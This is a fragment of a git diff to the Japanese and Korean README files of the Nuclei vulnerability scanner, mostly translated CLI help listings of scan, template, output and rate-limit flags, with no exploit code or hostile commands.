```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**より多くのインストール方法は[こちら](https://docs.projectdiscovery.io/tools/nuclei/install)で見つけることができます。**
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Nucleiテンプレート
|
||||
|
||||
Nucleiは、バージョン[v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2)以降、デフォルトでテンプレートの自動ダウンロード/更新をサポートしています。[**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates)プロジェクトは、常に更新されるコミュニティ提供の即時使用可能なテンプレートのリストを提供します。
|
||||
|
||||
`update-templates`フラグを使用して、いつでもNucleiテンプレートを更新することができます。Nucleiの[テンプレートガイド](https://docs.projectdiscovery.io/templates/)に従って、個々のワークフローとニーズに合わせた独自のチェックを作成することができます。
|
||||
|
||||
YAML DSLの構文リファレンスは[こちら](SYNTAX-REFERENCE.md)で確認できます。
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### 使用方法
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
これにより、ツールのヘルプが表示されます。ここには、サポートされているすべてのスイッチがあります。
|
||||
|
||||
```console
|
||||
Nucleiは、広範な設定可能性、大規模な拡張性、および使いやすさに焦点を当てた、
|
||||
高速でテンプレートベースの脆弱性スキャナーです。
|
||||
|
||||
使用法:
|
||||
./nuclei [flags]
|
||||
|
||||
フラグ:
|
||||
ターゲット:
|
||||
-u, -target string[] スキャンする対象のURL/ホスト
|
||||
-l, -list string スキャンする対象のURL/ホストのリストが含まれているファイルへのパス(1行に1つ)
|
||||
-resume string resume.cfgを使用してスキャンを再開(クラスタリングは無効になります)
|
||||
-sa, -scan-all-ips DNSレコードに関連付けられているすべてのIPをスキャン
|
||||
-iv, -ip-version string[] ホスト名のスキャンするIPバージョン(4,6)-(デフォルトは4)
|
||||
|
||||
テンプレート:
|
||||
-nt, -new-templates 最新のnuclei-templatesリリースに追加された新しいテンプレートのみを実行
|
||||
-ntv, -new-templates-version string[] 特定のバージョンに追加された新しいテンプレートを実行
|
||||
-as, -automatic-scan wappalyzer技術検出をタグマッピングに使用した自動Webスキャン
|
||||
-t, -templates string[] 実行するテンプレートまたはテンプレートディレクトリのリスト(カンマ区切り、ファイル)
|
||||
-turl, -template-url string[] 実行するテンプレートのURLまたはテンプレートURLのリスト(カンマ区切り、ファイル)
|
||||
-w, -workflows string[] 実行するワークフローまたはワークフローディレクトリのリスト(カンマ区切り、ファイル)
|
||||
-wurl, -workflow-url string[] 実行するワークフローのURLまたはワークフローURLのリスト(カンマ区切り、ファイル)
|
||||
-validate Nucleiに渡されたテンプレートを検証
|
||||
-nss, -no-strict-syntax テンプレートで厳密な構文チェックを無効にする
|
||||
-td, -template-display テンプレートの内容を表示
|
||||
-tl 利用可能なすべてのテンプレートをリスト
|
||||
-sign NUCLEI_SIGNATURE_PRIVATE_KEY環境変数で定義された秘密鍵でテンプレートに署名
|
||||
-code コードプロトコルベースのテンプレートのロードを有効にする
|
||||
|
||||
フィルタリング:
|
||||
-a, -author string[] 作者に基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-tags string[] タグに基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-etags, -exclude-tags string[] タグに基づいて除外するテンプレート(カンマ区切り、ファイル)
|
||||
-itags, -include-tags string[] デフォルトまたは設定によって除外されている場合でも実行する必要があるタグ
|
||||
-id, -template-id string[] テンプレートIDに基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-eid, -exclude-id string[] テンプレートIDに基づいて除外するテンプレート(カンマ区切り、ファイル)
|
||||
-it, -include-templates string[] デフォルトまたは設定によって除外されている場合でも実行する必要があるテンプレート
|
||||
-et, -exclude-templates string[] 除外するテンプレートまたはテンプレートディレクトリへのパス(カンマ区切り、ファイル)
|
||||
-em, -exclude-matchers string[] 結果で除外するテンプレートマッチャー
|
||||
-s, -severity value[] 重大度に基づいて実行するテンプレート。可能な値:info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 重大度に基づいて除外するテンプレート。可能な値:info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] プロトコルタイプに基づいて実行するテンプレート。可能な値:dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] プロトコルタイプに基づいて除外するテンプレート。可能な値:dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] 式条件に基づいて実行するテンプレート
|
||||
|
||||
出力:
|
||||
-o, -output string 発見された問題/脆弱性を書き込む出力ファイル
|
||||
-sresp, -store-resp Nucleiを通じて渡されたすべてのリクエスト/レスポンスを出力ディレクトリに保存
|
||||
-srd, -store-resp-dir string Nucleiを通じて渡されたすべてのリクエスト/レスポンスをカスタムディレクトリに保存(デフォルトは「output」)
|
||||
-silent 結果のみを表示
|
||||
-nc, -no-color 出力内容の着色を無効にする(ANSIエスケープコード)
|
||||
-j, -jsonl JSONL(ines)形式で出力を書き込む
|
||||
-irr, -include-rr -omit-raw JSON、JSONL、Markdown出力にリクエスト/レスポンスペアを含める(発見のみ)[非推奨 -omit-raw使用](デフォルトはtrue)
|
||||
-or, -omit-raw JSON、JSONL、Markdown出力でリクエスト/レスポンスペアを省略する(発見のみ)
|
||||
-ot, -omit-template JSON、JSONL出力でエンコードされたテンプレートを省略
|
||||
-nm, -no-meta CLI出力で結果のメタデータの印刷を無効にする
|
||||
-ts, -timestamp CLI出力にタイムスタンプを印刷することを有効にする
|
||||
-rdb, -report-db string Nucleiレポートデータベース(レポートデータを永続化するために常にこれを使用)
|
||||
-ms, -matcher-status マッチ失敗のステータスを表示
|
||||
-me, -markdown-export string Markdown形式で結果をエクスポートするディレクトリ
|
||||
-se, -sarif-export string SARIF形式で結果をエクスポートするファイル
|
||||
-je, -json-export string JSON形式で結果をエクスポートするファイル
|
||||
-jle, -jsonl-export string JSONL(ine)形式で結果をエクスポートするファイル
|
||||
|
||||
設定:
|
||||
-config string Nucleiの設定ファイルへのパス
|
||||
-fr, -follow-redirects HTTPテンプレートのリダイレクトをフォローすることを有効にする
|
||||
-fhr, -follow-host-redirects
|
||||
@@ -23,15 +23,14 @@
|
||||
<a href="#개발자를-위한">개발자를 위한</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">문서</a> •
|
||||
<a href="#credits">Credits</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery"> Discord 참가</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">한국어</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">스페인어</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">한국어</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
@@ -86,207 +85,140 @@ nuclei -h
|
||||
|
||||
|
||||
```console
|
||||
Nuclei는 빠르고, 템플릿 기반의 취약점 스캐너로
|
||||
넓은 설정 가능성, 대규모 확장성 및 사용 편의성에 중점을 두고 있습니다.
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
사용법:
|
||||
./nuclei [flags]
|
||||
Usage:
|
||||
nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] 스캔할 대상 URL/호스트
|
||||
-l, -list string 스캔할 대상 URL/호스트 목록이 있는 파일 경로 (한 줄에 하나씩)
|
||||
-resume string resume.cfg를 사용하여 스캔 재개 (클러스터링은 비활성화됨)
|
||||
-sa, -scan-all-ips dns 레코드와 관련된 모든 IP 스캔
|
||||
-iv, -ip-version string[] 스캔할 호스트의 IP 버전 (4,6) - (기본값 4)
|
||||
-u, -target string[] 스캔할 URLs/hosts 대상
|
||||
-l, -list string 스캔할 URLs/hosts 대상 목록이 포함된 파일 경로(줄당 하나씩)
|
||||
-resume string resume.cfg를 사용한 스캔 재개(클러스터링이 비활성화됨)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates 최신 nuclei-templates 릴리스에 추가된 새 템플릿만 실행
|
||||
-ntv, -new-templates-version string[] 특정 버전에 추가된 새 템플릿 실행
|
||||
-as, -automatic-scan wappalyzer 기술 감지를 사용하여 태그 매핑으로 자동 웹 스캔
|
||||
-t, -templates string[] 실행할 템플릿 또는 템플릿 디렉토리 목록 (쉼표로 구분, 파일)
|
||||
-turl, -template-url string[] 실행할 템플릿 url 또는 템플릿 url 목록 (쉼표로 구분, 파일)
|
||||
-w, -workflows string[] 실행할 워크플로우 또는 워크플로우 디렉토리 목록 (쉼표로 구분, 파일)
|
||||
-wurl, -workflow-url string[] 실행할 워크플로우 url 또는 워크플로우 url 목록 (쉼표로 구분, 파일)
|
||||
-validate nuclei에 전달된 템플릿 검증
|
||||
-nss, -no-strict-syntax 템플릿에서 엄격한 구문 검사 비활성화
|
||||
-td, -template-display 템플릿 내용 표시
|
||||
-tl 사용 가능한 모든 템플릿 목록
|
||||
-sign NUCLEI_SIGNATURE_PRIVATE_KEY 환경 변수에서 정의된 개인 키로 템플릿에 서명
|
||||
-code 코드 프로토콜 기반 템플릿 로딩 활성화
|
||||
-nt, -new-templates nuclei-templates에 가장 최근에 추가된 새 템플릿만 실행
|
||||
-as, -automatic-scan 태그 매핑에 대한 wappalyzer 기술 탐지를 사용한 자동 웹 스캔
|
||||
-t, -templates string[] 실행할 템플릿 또는 템플릿 디렉터리 목록(쉼표로 구분된 파일)
|
||||
-tu, -template-url string[] 실행할 템플릿 URL 목록(쉼표로 구분된 파일)
|
||||
-w, -workflows string[] 실행할 워크플로 또는 워크플로 디렉터리 목록(쉼표로 구분된 파일)
|
||||
-wu, -workflow-url string[] 실행할 워크플로 URL 목록(쉼표로 구분된 파일)
|
||||
-validate nuclei로 전달된 템플릿 검증
|
||||
-tl 사용 가능한 모든 템플릿 목록
|
||||
-td 템플릿 내용 표시
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] 저자를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)
|
||||
-tags string[] 태그를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)
|
||||
-etags, -exclude-tags string[] 태그를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)
|
||||
-itags, -include-tags string[] 기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 태그
|
||||
-id, -template-id string[] 템플릿 id를 기반으로 실행할 템플릿 (쉼표로 구분, 파일, 와일드카드 허용)
|
||||
-eid, -exclude-id string[] 템플릿 id를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)
|
||||
-it, -include-templates string[] 기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 템플릿
|
||||
-et, -exclude-templates string[] 제외할 템플릿 또는 템플릿 디렉토리 (쉼표로 구분, 파일)
|
||||
-em, -exclude-matchers string[] 결과에서 제외할 템플릿 매처
|
||||
-s, -severity value[] 심각도를 기반으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 심각도를 기반으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] 프로토콜 유형을 기반으로 실행할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] 프로토콜 유형을 기반으로 제외할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] 표현식 조건을 기반으로 실행할 템플릿
|
||||
-a, -author string[] 작성자를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
-tags string[] 태그를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
-etags, -exclude-tags string[] 태그를 기준으로 제외할 템플릿(쉼표로 구분된 파일)
|
||||
-itags, -include-tags string[] 태그가 기본 또는 구성에 의해 제외된 경우에도 실행됨
|
||||
-id, -template-id string[] 템플릿 ID들을 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
-eid, -exclude-id string[] 템플릿 ID들을 기준으로 제외할 템플릿(쉼표로 구분된 파일)
|
||||
-it, -include-templates string[] 템플릿이 기본 또는 구성에 의해 제외된 경우에도 실행됨
|
||||
-et, -exclude-templates string[] 제외할 템플릿 또는 템플릿 디렉터리(파일로 구분됨, 파일)
|
||||
-s, -severity value[] 심각도를 기준으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 심각도를 기준으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] 프로토콜 유형을 기준으로 실행할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] 프로토콜 유형에 따라 제외할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string 발견된 문제/취약점을 작성할 출력 파일
|
||||
-sresp, -store-resp 모든 요청/응답을 nuclei를 통해 출력 디렉토리에 저장
|
||||
-srd, -store-resp-dir string 모든 요청/응답을 nuclei를 통해 사용자 정의 디렉토리에 저장 (기본값 "output")
|
||||
-o, -output string 발견된 문제/취약점를 쓰기 위한 출력 파일
|
||||
-sresp, -store-resp nuclei을 통해 전달된 모든 요청/응답을 출력 디렉터리에 저장
|
||||
-srd, -store-resp-dir string nuclei을 통해 전달된 모든 요청/응답을 사용자 지정 디렉터리에 저장(기본 "output")
|
||||
-silent 결과만 표시
|
||||
-nc, -no-color 출력 내용 색상 비활성화 (ANSI 이스케이프 코드)
|
||||
-j, -jsonl JSONL(ines) 형식으로 출력 작성
|
||||
-irr, -include-rr -omit-raw JSON, JSONL, Markdown 출력에 요청/응답 쌍 포함 (결과만 해당) [사용 중단 -omit-raw 사용] (기본값 true)
|
||||
-or, -omit-raw JSON, JSONL, Markdown 출력에서 요청/응답 쌍 생략 (결과만 해당)
|
||||
-ot, -omit-template JSON, JSONL 출력에서 인코딩된 템플릿 생략
|
||||
-nm, -no-meta CLI 출력에서 결과 메타데이터 인쇄 비활성화
|
||||
-ts, -timestamp CLI 출력에 타임스탬프 인쇄 활성화
|
||||
-rdb, -report-db string nuclei 보고 데이터베이스 (보고 데이터를 유지하려면 항상 이것을 사용)
|
||||
-nc, -no-color 출력 내용 색상 비활성화 (ANSI escape codes)
|
||||
-j, -jsonl JSONL(ines) 형식으로 출력
|
||||
-irr, -include-rr JSONL 출력에 요청/응답 쌍 포함(결과만)
|
||||
-or, -omit-raw
|
||||
-nm, -no-meta cli 출력에서 결과 메타데이터 출력 비활성화
|
||||
-nts, -no-timestamp cli 출력에서 결과 타임스탬프 출력 비활성화
|
||||
-rdb, -report-db string nuclei 보고 데이터베이스(보고서 데이터를 유지하려면 항상 이것을 사용)
|
||||
-ms, -matcher-status 매치 실패 상태 표시
|
||||
-me, -markdown-export string Markdown 형식으로 결과를 내보낼 디렉토리
|
||||
-se, -sarif-export string SARIF 형식으로 결과를 내보낼 파일
|
||||
-je, -json-export string JSON 형식으로 결과를 내보낼 파일
|
||||
-jle, -jsonl-export string JSONL(ine) 형식으로 결과를 내보낼 파일
|
||||
-me, -markdown-export string 마크다운 형식으로 결과를 내보낼 디렉터리
|
||||
-se, -sarif-export string 결과를 SARIF 형식으로 내보내는 파일
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string nuclei 구성 파일 경로
|
||||
-fr, -follow-redirects http 템플릿에 대한 리디렉션 따라가기 활성화
|
||||
-fhr, -follow-host-redirects 같은 호스트에서 리디렉션 따라가기
|
||||
-mr, -max-redirects int http 템플릿에 대해 따라갈 최대 리디렉션 수 (기본값 10)
|
||||
-dr, -disable-redirects http 템플릿에 대한 리디렉션 비활성화
|
||||
-rc, -report-config string nuclei 보고 모듈 구성 파일
|
||||
-H, -header string[] 모든 http 요청에 포함할 사용자 정의 헤더/쿠키 (header:value 형식) (cli, file)
|
||||
-V, -var value key=value 형식의 사용자 정의 변수
|
||||
-r, -resolvers string nuclei에 대한 리졸버 목록이 있는 파일
|
||||
-sr, -system-resolvers 오류 대체로 시스템 DNS 해결 사용
|
||||
-dc, -disable-clustering 요청 클러스터링 비활성화
|
||||
-passive 수동 HTTP 응답 처리 모드 활성화
|
||||
-fh2, -force-http2 요청에 http2 연결 강제
|
||||
-ev, -env-vars 템플릿에서 환경 변수 사용 활성화
|
||||
-cc, -client-cert string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 파일 (PEM 인코딩)
|
||||
-ck, -client-key string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 키 파일 (PEM 인코딩)
|
||||
-ca, -client-ca string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 기관 파일 (PEM 인코딩)
|
||||
-sml, -show-match-line 파일 템플릿에 대한 매치 라인 표시, 추출기만 작동
|
||||
-ztls ztls 라이브러리 사용, tls13에 대한 표준 하나로 자동 대체 [사용 중단] 자동 대체는 기본적으로 ztls로 활성화됨
|
||||
-sni string 사용할 tls sni 호스트 이름 (기본값: 입력 도메인 이름)
|
||||
-lfa, -allow-local-file-access 시스템 어디에서나 파일 (페이로드) 액세스 허용
|
||||
-lna, -restrict-local-network-access 로컬 / 개인 네트워크로의 연결 차단
|
||||
-i, -interface string 네트워크 스캔에 사용할 네트워크 인터페이스
|
||||
-at, -attack-type string 수행할 페이로드 조합 유형 (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string 네트워크 스캔에 사용할 소스 IP 주소
|
||||
-rsr, -response-size-read int 바이트 단위로 읽을 최대 응답 크기 (기본값 10485760)
|
||||
-rss, -response-size-save int 바이트 단위로 읽을 최대 응답 크기 (기본값 1048576)
|
||||
-reset reset은 모든 nuclei 구성 및 데이터 파일을 제거합니다 (nuclei-templates 포함)
|
||||
-tlsi, -tls-impersonate 실험적인 클라이언트 hello (ja3) tls 무작위화 활성화
|
||||
-config string nuclei 환경 설정 파일 경로
|
||||
-fr, -follow-redirects http 템플릿에 following redirects 활성화
|
||||
-mr, -max-redirects int http 템플릿에 따라야 할 최대 리디렉션 수(기본값 10)
|
||||
-dr, -disable-redirects http 템플릿에 대한 리디렉션 비활성화
|
||||
-rc, -report-config string nuclei 보고 모듈 환경 설정 파일
|
||||
-H, -header string[] 헤더:값 형식의 모든 http 요청에 포함할 사용자 정의 헤더/쿠키(cli, file)
|
||||
-V, -var value 키=값 형식의 사용자 정의 변수
|
||||
-r, -resolvers string nuclei에 대한 리졸버 목록이 포함된 파일
|
||||
-sr, -system-resolvers 에러 fallback으로 시스템 DNS 리졸빙 사용
|
||||
-passive 수동 HTTP 응답 처리 모드 활성화
|
||||
-ev, -env-vars 템플릿에서 환경 변수를 사용할 수 있도록 설정
|
||||
-cc, -client-cert string 스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증서 파일(PEM-encoded)
|
||||
-ck, -client-key string 스캔된 호스트에 인증하는 데 사용되는 클라이언트 key 파일(PEM-encoded)
|
||||
-ca, -client-ca string 스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증 기관 파일(PEM-encoded)
|
||||
-sml, -show-match-line 파일 템플릿에 대해 일치하는 줄 표시, extractors에서만 작동
|
||||
-ztls tls13의 표준으로 autofallback과 함께 ztls 라이브러리 사용
|
||||
-sni string 사용할 tls sni 호스트 이름(기본: 입력한 도메인 이름)
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string 자체 호스팅 인스턴스를 위한 interactsh 서버 url (기본값: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string 자체 호스팅 interactsh 서버를 위한 인증 토큰
|
||||
-interactions-cache-size int 상호 작용 캐시에 유지할 요청 수 (기본값 5000)
|
||||
-interactions-eviction int 캐시에서 요청을 제거하기 전에 기다릴 초 수 (기본값 60)
|
||||
-interactions-poll-duration int 각 상호 작용 폴 요청 사이에 기다릴 초 수 (기본값 5)
|
||||
-interactions-cooldown-period int 종료 전에 상호 작용 폴링에 추가 시간 (기본값 5)
|
||||
-ni, -no-interactsh OAST 테스트를 위한 interactsh 서버 비활성화, OAST 기반 템플릿 제외
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string 템플릿에 설정된 퍼징 유형 재정의 (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string 템플릿에 설정된 퍼징 모드 재정의 (multiple, single)
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover uncover 엔진 활성화
|
||||
-uq, -uncover-query string[] uncover 검색 쿼리
|
||||
-ue, -uncover-engine string[] uncover 검색 엔진 (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (기본값 shodan)
|
||||
-uf, -uncover-field string 반환할 uncover 필드 (ip,port,host) (기본값 "ip:port")
|
||||
-ul, -uncover-limit int 반환할 uncover 결과 (기본값 100)
|
||||
-ur, -uncover-ratelimit int 알려지지 않은 ratelimit의 엔진을 재정의하는 ratelimit (기본값 60 req/min) (기본값 60)
|
||||
-iserver, -interactsh-server string 자체 호스팅된 인스턴스에 대한 interactsh 서버 URL (기본: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string 자체 호스팅된 interactsh 서버에 대한 인증 토큰
|
||||
-interactions-cache-size int 상호 작용 캐시에 유지할 요청 수 (기본 5000)
|
||||
-interactions-eviction int 캐시에서 요청을 제거하기 전에 대기할 시간(초) (기본 60)
|
||||
-interactions-poll-duration int 각 상호 작용 폴링 요청 전에 대기할 시간(초) (기본 5)
|
||||
-interactions-cooldown-period int 종료 전 상호작용 폴링을 위한 추가 시간 (기본 5)
|
||||
-ni, -no-interactsh OAST 테스트를 위해 interactsh 서버 비활성화, OAST 기반 템플릿 제외
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int 초당 보낼 최대 요청 수 (기본값 150)
|
||||
-rlm, -rate-limit-minute int 분당 보낼 최대 요청 수
|
||||
-bs, -bulk-size int 템플릿당 병렬로 분석할 최대 호스트 수 (기본값 25)
|
||||
-c, -concurrency int 병렬로 실행할 최대 템플릿 수 (기본값 25)
|
||||
-hbs, -headless-bulk-size int 템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본값 10)
|
||||
-headc, -headless-concurrency int 병렬로 실행할 최대 headless 템플릿 수 (기본값 10)
|
||||
-rl, -rate-limit int 초당 보낼 최대 요청 수 (기본 150)
|
||||
-rlm, -rate-limit-minute int 분당 보낼 최대 요청 수
|
||||
-bs, -bulk-size int 템플릿당 병렬로 분석할 최대 호스트 수 (기본 25)
|
||||
-c, -concurrency int 병렬로 실행할 최대 템플릿 수 (기본 25)
|
||||
-hbs, -headless-bulk-size int 템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본 10)
|
||||
-hc, -headless-concurrency int 병렬로 실행할 최대 headless 템플릿 수 (기본 10)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int 타임아웃 전에 기다릴 초 수 (기본값 10)
|
||||
-retries int 실패한 요청을 재시도하는 횟수 (기본값 1)
|
||||
-ldp, -leave-default-ports 기본 HTTP/HTTPS 포트 남겨두기 (예: host:80,host:443)
|
||||
-mhe, -max-host-error int 스캔에서 건너뛰기 전에 호스트에서 허용되는 최대 오류 수 (기본값 30)
|
||||
-te, -track-error string[] 최대 호스트 오류 감시 목록에 주어진 오류 추가 (표준, 파일)
|
||||
-nmhe, -no-mhe 오류를 기반으로 스캔에서 호스트 건너뛰기 비활성화
|
||||
-project 동일한 요청을 여러 번 보내는 것을 피하기 위해 프로젝트 폴더 사용
|
||||
-project-path string 특정 프로젝트 경로 설정 (기본값 "/tmp")
|
||||
-spm, -stop-at-first-match 첫 번째 매치 후 HTTP 요청 처리 중지 (템플릿/워크플로우 로직이 깨질 수 있음)
|
||||
-stream 스트림 모드 - 입력 정렬 없이 시작
|
||||
-ss, -scan-strategy value 스캔하는 동안 사용할 전략(auto/host-spray/template-spray) (기본값 auto)
|
||||
-irt, -input-read-timeout value 입력 읽기 시간 초과 (기본값 3m0s)
|
||||
-nh, -no-httpx 비 URL 입력에 대한 httpx 프로브 비활성화
|
||||
-no-stdin stdin 처리를 비활성화합니다
|
||||
-timeout int 타임아웃 전 대기 시간(초) (기본 5)
|
||||
-retries int 실패한 요청을 재시도하는 횟수 (기본 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443
|
||||
-mhe, -max-host-error int 스캔을 건너뛰기 전에 호스트에 대한 최대 오류 수 (기본 30)
|
||||
-te, -track-error string[] 주어진 오류를 max-host-error 감시 목록(표준, 파일)에 추가
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project 프로젝트 폴더를 사용하여 동일한 요청을 여러 번 보내지 않음
|
||||
-project-path string 특정 프로젝트 경로 설정
|
||||
-spm, -stop-at-first-match 첫 번째 일치 후 HTTP 요청 처리 중지 (template/workflow 로직이 중단될 수 있음)
|
||||
-stream stream 모드 - 입력을 정렬하지 않고 elaborating 시작
|
||||
|
||||
HEADLESS:
|
||||
-headless headless 브라우저 지원이 필요한 템플릿 활성화 (Linux의 root 사용자는 샌드박스 비활성화)
|
||||
-page-timeout int headless 모드에서 각 페이지를 기다리는 시간(초) (기본값 20)
|
||||
-sb, -show-browser headless 모드로 실행하는 템플릿에서 브라우저 화면 표시
|
||||
-ho, -headless-options string[] 추가 옵션으로 headless chrome 시작
|
||||
-sc, -system-chrome nuclei가 설치한 Chrome 대신 로컬에 설치된 Chrome 브라우저 사용
|
||||
-lha, -list-headless-action 사용 가능한 headless 액션 목록 표시
|
||||
-headless 헤드리스 브라우저 지원이 필요한 템플릿 활성화(root user on linux will disable sandbox)
|
||||
-page-timeout int 헤드리스 모드에서 각 페이지를 기다리는 시간(초)(기본 20)
|
||||
-sb, -show-browser 헤드리스 모드로 템플릿을 실행할 때 화면에 브라우저 표시
|
||||
-sc, -system-chrome 설치된 nuclei 대신 로컬에 설치된 chrome 브라우저 사용
|
||||
|
||||
DEBUG:
|
||||
-debug 모든 요청과 응답 표시
|
||||
-debug 모든 요청 및 응답 표시
|
||||
-dreq, -debug-req 보낸 모든 요청 표시
|
||||
-dresp, -debug-resp 받은 모든 응답 표시
|
||||
-p, -proxy string[] 사용할 http/socks5 프록시 목록 (쉼표로 구분하거나 파일 입력)
|
||||
-pi, -proxy-internal 모든 내부 요청을 프록시를 통해 전송
|
||||
-ldf, -list-dsl-function 지원되는 모든 DSL 함수 시그니처 목록 표시
|
||||
-p, -proxy string[] 사용할 http/socks5 프록시 목록(쉼표로 구분하거나 파일 입력)
|
||||
-pi, -proxy-internal 모든 내부 요청을 프록시
|
||||
-tlog, -trace-log string 보낸 요청 추적 로그를 기록할 파일
|
||||
-elog, -error-log string 보낸 요청 오류 로그를 기록할 파일
|
||||
-version nuclei 버전 표시
|
||||
-hm, -hang-monitor nuclei 멈춤 모니터링 활성화
|
||||
-v, -verbose 자세한 출력 표시
|
||||
-profile-mem string 선택적인 nuclei 메모리 프로필 덤프 파일
|
||||
-vv 스캔에 로드된 템플릿 표시
|
||||
-svd, -show-var-dump 디버깅을 위한 변수 덤프 표시
|
||||
-ep, -enable-pprof pprof 디버깅 서버 활성화
|
||||
-tv, -templates-version 설치된 nuclei-templates의 버전 표시
|
||||
-hc, -health-check 진단 검사 실행
|
||||
-version nuclei 버전 출력
|
||||
-hm, -hang-monitor nuclei hang monitoring 활성화
|
||||
-v, -verbose 상세 출력 표시
|
||||
-vv 스캔을 위해 로드된 디스플레이 템플릿 표시
|
||||
-ep, -enable-pprof pprof debugging server 활성화
|
||||
-tv, -templates-version 설치된 nuclei-templates 버전 출력
|
||||
|
||||
UPDATE:
|
||||
-up, -update 최신 릴리스 버전으로 nuclei 엔진 업데이트
|
||||
-ut, -update-templates 최신 릴리스 버전으로 nuclei-templates 업데이트
|
||||
-ud, -update-template-dir string nuclei-templates를 설치/업데이트할 사용자 지정 디렉토리
|
||||
-duc, -disable-update-check 자동 nuclei/templates 업데이트 확인 비활성화
|
||||
-update 최신 릴리스 버전으로 nuclei 엔진 업데이트
|
||||
-ut, -update-templates 최신 릴리스 버전으로 nuclei-templates 엔진 업데이트
|
||||
-ud, -update-directory string nuclei-templates를 설치할 기본 디렉터리를 덮어씀
|
||||
-duc, -disable-update-check 자동 nuclei/templates 업데이트 확인 비활성화
|
||||
|
||||
STATISTICS:
|
||||
-stats 실행 중인 스캔에 대한 통계 표시
|
||||
-sj, -stats-json JSONL(ines) 형식으로 통계 표시
|
||||
-si, -stats-interval int 통계 업데이트를 표시하기까지 기다릴 초 수 (기본값 5)
|
||||
-mp, -metrics-port int nuclei 메트릭스를 노출할 포트 (기본값 9092)
|
||||
|
||||
CLOUD:
|
||||
-auth projectdiscovery 클라우드 (pdcp) API 키 구성
|
||||
-cup, -cloud-upload 스캔 결과를 pdcp 대시보드에 업로드
|
||||
-sid, -scan-id string 주어진 스캔 ID에 스캔 결과 업로드
|
||||
|
||||
|
||||
예시:
|
||||
단일 호스트에서 nuclei 실행:
|
||||
$ nuclei -target example.com
|
||||
|
||||
